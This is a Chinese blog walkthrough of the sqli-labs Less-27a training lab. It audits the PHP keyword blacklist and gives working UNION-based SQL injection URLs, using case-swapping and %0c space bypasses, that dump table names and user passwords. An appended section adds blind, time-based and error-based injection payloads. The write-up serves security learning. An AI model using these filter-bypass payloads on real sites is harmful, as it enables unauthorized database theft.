sqli-labs通关笔记-第27a关GET字符注入(多重关键字过滤绕过 手注法)

目录

一、源码分析

1、代码审计

2、SQL安全性分析

(1)[--]

(2)[\/\*]

(3)[#]

(4)[ +]

(5)过滤union和select变体

二、探测空格绕过

1、注释符替代空格法

2、括号绕过法

3、特殊字符与括号绕过法

4、字符串拼接与运算符法

三、联合注入法渗透实战

1、进入靶场

2、获取列数

(1)使用两列进行回显位探测

(2)使用三列进行回显位探测

3、获取数据库名

4、获取表名

5、获取列名

6、获取用户名密码


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第27a关Less 27a基于GET字符型的SQL注入关卡进行渗透实战,与27关的区别是无法使用报错法进行注入,且闭合方式由单引号变为双引号,该关卡同样过滤多个关键字(包括select多个变体、union多个变体,三类注释符号、空格等关键字)防止SQL注入攻击。

一、源码分析

1、代码审计

本关卡Less27a是基于GET字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less27a关卡功能是简单基于id的查询页面,相对于27关的区别只是并不打印报错信息,以及闭合方式变为双引号,对比如下所示。

详细注释后的代码如下所示。

<?php
// 包含MySQL连接参数文件
include("../sql-connections/sqli-connect.php");

// 获取URL参数中的id值
if(isset($_GET['id']))
{
    $id=$_GET['id'];
    
    // 将用户输入的ID记录到result.txt文件中用于分析
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);

    // 对用户输入的ID进行黑名单过滤,移除危险字符和关键词
    $id= blacklist($id);
    
    // 保存过滤后的ID用于提示信息
    $hint=$id;
    
    // 在过滤后的ID两边添加双引号
    $id = '"' .$id. '"';

    // 构建SQL查询语句,查询users表中匹配ID的记录
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    
    // 执行SQL查询
    $result=mysqli_query($con1, $sql);
    
    // 获取查询结果
    $row = mysqli_fetch_array($result, MYSQLI_BOTH);
    
    // 如果查询到结果,显示用户名和密码
    if($row)
    {
        echo "<font size='5' color= '#99FF00'>";    
        echo 'Your Login name:'. $row['username'];
        echo "<br>";
        echo 'Your Password:' .$row['password'];
        echo "</font>";
    }
    else 
    {
        echo '<font color= "#FFFF00">';
        // 原代码注释掉了错误信息输出
        //print_r(mysqli_error($con1));
        echo "</font>";  
    }
}
else { echo "Please input the ID as parameter with numeric value";}

// 黑名单过滤函数,移除可能用于SQL注入的字符和关键词
function blacklist($id)
{
    $id= preg_replace('/[\/\*]/',"", $id);        // 移除 /*
    $id= preg_replace('/[--]/',"", $id);        // 移除 --
    $id= preg_replace('/[#]/',"", $id);         // 移除 #
    $id= preg_replace('/[ +]/',"", $id);        // 移除空格
    $id= preg_replace('/select/m',"", $id);     // 移除select(多行模式)
    $id= preg_replace('/[ +]/',"", $id);        // 再次移除空格
    $id= preg_replace('/union/s',"", $id);      // 移除union(单行模式)
    $id= preg_replace('/select/s',"", $id);     // 移除select(单行模式)
    $id= preg_replace('/UNION/s',"", $id);      // 移除UNION(单行模式)
    $id= preg_replace('/SELECT/s',"", $id);     // 移除SELECT(单行模式)
    $id= preg_replace('/Union/s',"", $id);      // 移除Union(单行模式)
    $id= preg_replace('/Select/s',"", $id);     // 移除Select(单行模式)
    return $id;
}
?>

本关卡实现了一个存在SQL注入风险的用户查询系统,功能如下所示。

  • 用户输入处理:从 URL 参数中获取用户输入的 ID 值,并尝试对其进行黑名单过滤,移除可能用于 SQL 注入的字符和关键词。
  • 日志记录:将用户输入的 ID 记录到 result.txt 文件中,用于后续分析。
  • SQL 查询:构建 SQL 查询语句,查询 users 表中匹配 ID 的记录,并执行查询。
  • 结果展示:如果查询到结果,显示用户的用户名和密码;如果没有查询到结果,则不显示数据库的具体报错信息。
  • 提示信息:页面底部显示经过过滤后的用户输入,作为提示信息。

2、SQL安全性分析

由于本关卡并不打印数据库报错信息,故而不可以和27关卡一样使用报错法注入,本关卡只能使用联合注入法。系统虽然通过preg_replace()函数进行了简单的关键字过滤,但仍可通过双写或者大小写绕过等方法绕过过滤机制,因此本关卡仍然存在SQL注入风险,攻击者可以构造特殊输入来绕过过滤并执行恶意SQL命令,从而获取数据库敏感信息。27a关卡的过滤函数处理如下所示。

$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select

因为过滤了空格和注释符号,所以直接使用sqlmap会比较糟糕,由于空格会被过滤掉,导致多个函数与连接词(or,and,from)等用空格连接时,空滤空格后会导致字符串连接到一起,函数参数需要使用括号包裹替换。另外三类注释符号( /*,--,#)都被过滤为空,本关卡还过滤了select、union的多种变体,具体如下所示。

(1)[--]

方括号 [] 在正则中表示字符组,匹配其中的任意一个字符。这里的 [--] 本意可能是匹配双连字符 --,但实际上会移除所有单个 - 字符:

  • 连字符 - 在字符组中有特殊含义(表示范围,如 [a-z])。
  • 当 - 是字符组中的第一个或最后一个字符时,它会被视为普通字符。因此,[--] 等价于 [-],即只匹配单个连字符 -
  • 如果只是计划移除 SQL 注释符 --,黑名单函数如下所示。
$id = preg_replace('/--/', '', $id);  // 移除SQL注释符

(2)[\/\*]

方括号 [] 表示字符组,匹配其中的任意一个字符,因此,[\/\*] 会匹配 单个 / 或 

  • \/:转义后的斜杠 /

  • \*:转义后的星号 *

这行代码会移除所有 / 和 * 字符,但无法单独移除 /* 组合(例如 SQL 注释块),如果想要移除/* 开头到 */ 结尾的注释块,应使用如下语句。

$id = preg_replace('/\/\*.*?\*\//s', '', $id);  // 移除 /* ... */ 注释块

 若仅需移除 /* 组合(不处理闭合),应使用如下语句。

$id = preg_replace('/\/\*/', '', $id);  // 移除 /*

(3)[#]

方括号 [] 在正则中表示字符组,匹配其中的任意一个字符。这里的 [#] 会移除 单个 # 字符

  • 方括号 [] 表示字符组,匹配其中的任意一个字符。
  • 由于 # 在正则中没有特殊含义,无需转义,因此 [#] 等价于 #
  • 这行代码的意图是移除 单个 # 字符,常用于防御 SQL 单行注释(例如 MySQL 中的 # 注释内容)

(4)[ +]

方括号[ +] 匹配 空格字符 或 加号字符(+。这个正则的含义是移除所有空格和加号,无论空格或加号连续出现多少次,都会被一并删除

  • /:正则表达式的定界符,表示正则表达式的开始和结束。
  • [ ]:字符类(character class),匹配方括号内的任意一个字符。
  • +:在字符类中,+ 表示字面意义的加号字符(+),而非量词。
  • 空格字符:在正则表达式中,空格字符直接用空格表示。

(5)过滤union和select变体

如下所示,源码对select和union进行了不包含大小写过滤函数preg_replace处理。其中preg_replace 是 PHP 中用于执行正则表达式替换的函数,其大小写处理取决于正则表达式的 模式(pattern) 和 修饰符(modifiers)

preg_replace($pattern, $replacement, $subject);
  • $pattern:正则表达式模式,用斜杠(/)包围,可选后缀修饰符(如 /i/s),
    • /i(大小写模式):如果模式中未使用 i 修饰符,preg_replace 会 严格区分大小写;添加 i 修饰符后,匹配将 不区分大小写。
    • /m(多行模式):影响 ^ 和 $ 的匹配位置,但不影响大小写。
    • /s(单行模式):使 . 匹配换行符,但不影响大小写。
  • $replacement:替换字符串。
  • $subject:目标字符串。

举例,模式中的字符大小写决定匹配规则,故而本关卡实际上未对参数进行严格大小写匹配。

  • 全小写模式(如 /select/):仅匹配小写的 select
  • 全大写模式(如 /SELECT/):仅匹配大写的 SELECT
  • 混合大小写模式(如 /Select/):仅匹配特定大小写组合的 Select

本关卡中,对select和union过滤如下所示。这使得SeLect和UnIon没有被过滤掉,可通过大小写绕过,可以通过这SeLect和UnIon替换select和union符号。

$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select

二、探测空格绕过

当目标系统过滤了空格字符时,仍然有多种方法可以探测和利用SQL注入风险。以下是系统的探测和绕过方法。

1、注释符替代空格法

当空格被过滤时,可用注释符/**/或/*!...*/(MySQL特有)替代空格,使SQL语句保持语法正确。例如:SELECT/**/username/**/FROM/**/users。MySQL的内联注释还能绕过特定版本限制。此方法简单高效,但需注意不同数据库的注释语法差异(如Oracle使用--)。在自动化工具中,SQLMap的space2comment脚本可自动完成这种转换,适用于快速探测和利用注入点。

2、括号绕过法

当空格被过滤时可以利用括号重构语句逻辑。括号可自然分隔关键词且通常不被过滤,尤其适用于数字型注入。比如 SELECT column FROM table 可以替换为如下语句。

UNION(SELECT(column)FROM(table))

3、特殊字符与括号绕过法

通过Tab(%09)、换行符(%0A)等不可见字符替代空格。此方法隐蔽性强,但需测试目标数据库对特殊字符的支持情况。在渗透测试中,可结合Burp Suite等工具对特殊字符进行编码测试,逐步验证可用分隔符。

target_spaces = ['%09', '%0a', '%0b', '%0c', '%0d', '%20', '%23', '%2a', '%2d', '%2f', '%5c']

以下是这些特殊字符可以替代空格的详细分析表格。 

编码字符ASCII字符名称可替代空格的原因
%09\t水平制表符数据库解析时会视作空白分隔符,但常被过滤规则忽略
%0a\n换行符SQL语句中作为隐式分隔符,尤其在批量执行时有效
%0b\v垂直制表符非常规空白符,部分数据库解析为分隔符
%0c\f换页符类似%0a的分隔作用,但兼容性较低
%0d\r回车符%0a组合使用可绕过严格过滤
%20空格标准URL编码空格直接等价于空格,可能被简单解码器还原
%23#井号(注释符)结合换行符构成注释(如%23%0a),使后续内容被忽略
%2a*星号在特定位置作为通配符时可充当分隔符(如SELECT*FROM
%2d-连字符结合注释使用(如--%0a
%2f/斜杠用于开启注释(如/**/
%5c\反斜杠部分数据库解析转义字符时会产生隐式分隔效果

本关卡中通过探测,发现['%09', '%0a', '%0b', '%0c', '%0d']共5个字符均是有效的替换方法,故而在第五部分使用%0c替换空格。 

4、字符串拼接与运算符法

利用逻辑运算符(如||、+)或科学计数法(如1e0)隐式连接语句片段。

例如:'OR'1'='1可以将OR替换为||,此方法无需显式空格,依赖数据库的隐式语法解析规则,如MySQL的||需启用PIPES_AS_CONCAT模式。适用于简单过滤场景,但对复杂语句的构造要求较高,通常作为备用方案与其他技术组合使用。

三、联合注入法渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page2,如下图红框所示。 

其中第27a关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。

http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap

点击上图红框的Less27a关卡,进入到靶场的第27a关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“ Hint: Your Input is Filtered with following result: ”,具体如下所示。

http://192.168.59.1/sqli-labs/Less-27a

输入参数id=1,URL地址如下所示。

http://127.0.0.1/sqli-labs/Less-27a/?id=1

2、获取列数

参考第26a关卡和27a关卡在过滤掉注释符号后无法使用order by来判断select的列数,故而直接使用回显位探测方法来获取列数,根据上一步页面页面提示的信息包括用户名Dumb和密码Dumb,我们分析可知其至少select了2个字段,也就是应该是大于等于2的一个数字。

(1)使用两列进行回显位探测

首先尝试两列,注入命令如下所示。

http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"union select(1),(2)||"1"="7

经过绕过处理(空格变为0c%)后,脚本变为如下所示 。

http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"UnIon%0cSeLect(1),(2)||"1"="7

如下所示没有提示用户名和密码,说明select字段数量不是2列。 

(2)使用三列进行回显位探测

 接下来尝试三列进行回显位探测,注入命令如下所示。

http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"union select(1),(2),(3)||"1"="7

经过绕过处理(空格变为0c%)后,脚本变为如下所示 。

http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"UnIon%0cSeLect(1),(2),(3)||"1"="7

首先尝试三列,如下所示没有报错,说明select字段数量是3列,且回显位为1和2。 

3、获取数据库名

由于回显位是1和2,那么在第2个位置替换为database()函数,于是通过报错注入获取数据库名的原始注入语句如下所示。

http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"union select(1),database(),(3)||"1"="7

为绕过服务器,将数字用括号包裹,SeLect和UnIon替换select和union,空格用%0c替换,修改后如下所示。 

http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"UnIon%0cSeLect(1),database(),(3)||"1"="7

渗透成功,数据库名为security,如下图所示。 

4、获取表名

原始通过报错注入获取数据库security所有表格名称的注入语句如下所示。

http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"union select(1),group_concat(table_name),(3) from (information_schema.tables) where (table_schema= 'security')||"1"="7

为绕过服务器,将数字用括号包裹,SeLect和UnIon替换select和union,空格用%0c替换,修改后如下所示。 

http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"UnIon%0cSeLect(1),group_concat(table_name),(3)%0cfrom%0c(information_schema.tables)%0cwhere%0c(table_schema=%0c'security')||"1"="7

渗透成功,数据库security的表名分别为emails,referers,uagents,users,如下图所示。 

5、获取列名

原始通过报错注入获取users表的列名,注入语句如下所示。

http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"union select(1),group_concat(column_name),(3) from (information_schema.columns) where (table_schema= 'security') and (table_name='users')||"1"="7

为绕过服务器,将数字用括号包裹,SeLect和UnIon替换select和union,空格用%0c替换,修改后如下所示。 

http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"UnIon%0cSeLect(1),group_concat(column_name),(3)%0cfrom%0c(information_schema.columns)%0cwhere%0c(table_schema=%0c'security')%0cand%0c(table_name='users')||"1"="7

渗透成功,数据库security的users表的列名分别为id,username,password,如下图所示。 

6、获取用户名密码

原始通过报错注入获取users表的列名,注入语句如下所示。

http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"union select(1),group_concat(password,0x7e,username),(3) from(security.users) where (1=1)||"1"="7

为绕过服务器,将数字用括号包裹,SeLect和UnIon替换select和union,空格用%0c替换,修改后如下所示。 

http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"UnIon%0cSeLect(1),group_concat(password,0x7e,username),(3)%0cfrom(security.users)%0cwhere%0c(1=1)||"1"="7

渗透成功,数据库security的users表的用户名和密码内容如下所示。

Your Login name:Dumb~Dumb,I-kill-you~Angelina,p@ssword~Dummy,crappy~secure,stupidity~stupid,genious~superman,mob!le~batman,mooyuan123456~admin,admin1~admin1,admin2~admin2,admin3~admin3,dumbo~dhakkan,admin4~admin4,123456~admin'#mooyuan
Your Password:3

具体效果如下图所示,成功获取到users表的所有用户名和密码。 

### sqli-labsSQL注入技巧 #### 修改配置文件 对于sqli-labs环境设置,需先调整`WWW/sqli-labs/sql-connections/db-creds.inc`来适配本地MySQL数据库连接参数[^1]。 #### 利用动技术进行SQL注入测试 ##### HTTP头部注入实例 一种高级是在HTTP头中嵌入恶意载荷。例如利用`extractvalue()`函数触发报错型注入,构造如下payload: ```sql extractvalue(1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1))),')# ``` 此语句尝试从information_schema库读取表名并造成XML解析异常从而泄露数据[^3]。 ##### 使用条件查询实施布尔盲 通过向应用程序发送特制请求,并观察响应差异推测后台执行逻辑真假情况。比如借助IF()结构配合其他辅助函数如ASCII(), SUBSTRING()等逐步猜解目标字段内容: 假设存在漏洞URL `http://example.com/vuln.php?id=1` - 测试是否存在基于时间延迟的延时注入特性: ```bash http://example.com/vuln.php?id=1 AND SLEEP(5)--+ ``` - 枚举当前用户权限级别: ```bash http://example.com/vuln.php?id=1 AND (SELECT IF((CURRENT_USER()='root@localhost'),BENCHMARK(1000000,ENCODE('A','by 5 seconds')),NULL))--+ ``` - 获取特定字符串的第一个字符ASCII码值: ```bash http://example.com/vuln.php?id=1 AND ASCII(SUBSTRING((SELECT user()),1,1))>97--+ ``` 上述操作均属于试探性质,在实际渗透测试活动中应当遵循合授权范围内的安全研究行为准则[^4]。 #### 工具增强效率 虽然提倡工实践以加深理解原理,但在某些场景下也可以适当引入自动化工具辅助分析过程。例如sqlmap提供了丰富的内置脚本支持绕过WAF防护机制等功能扩展,命令行选项`--tamper`允许加载自定义编码模块改变原始Payload形态以便更高效地完成任务[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值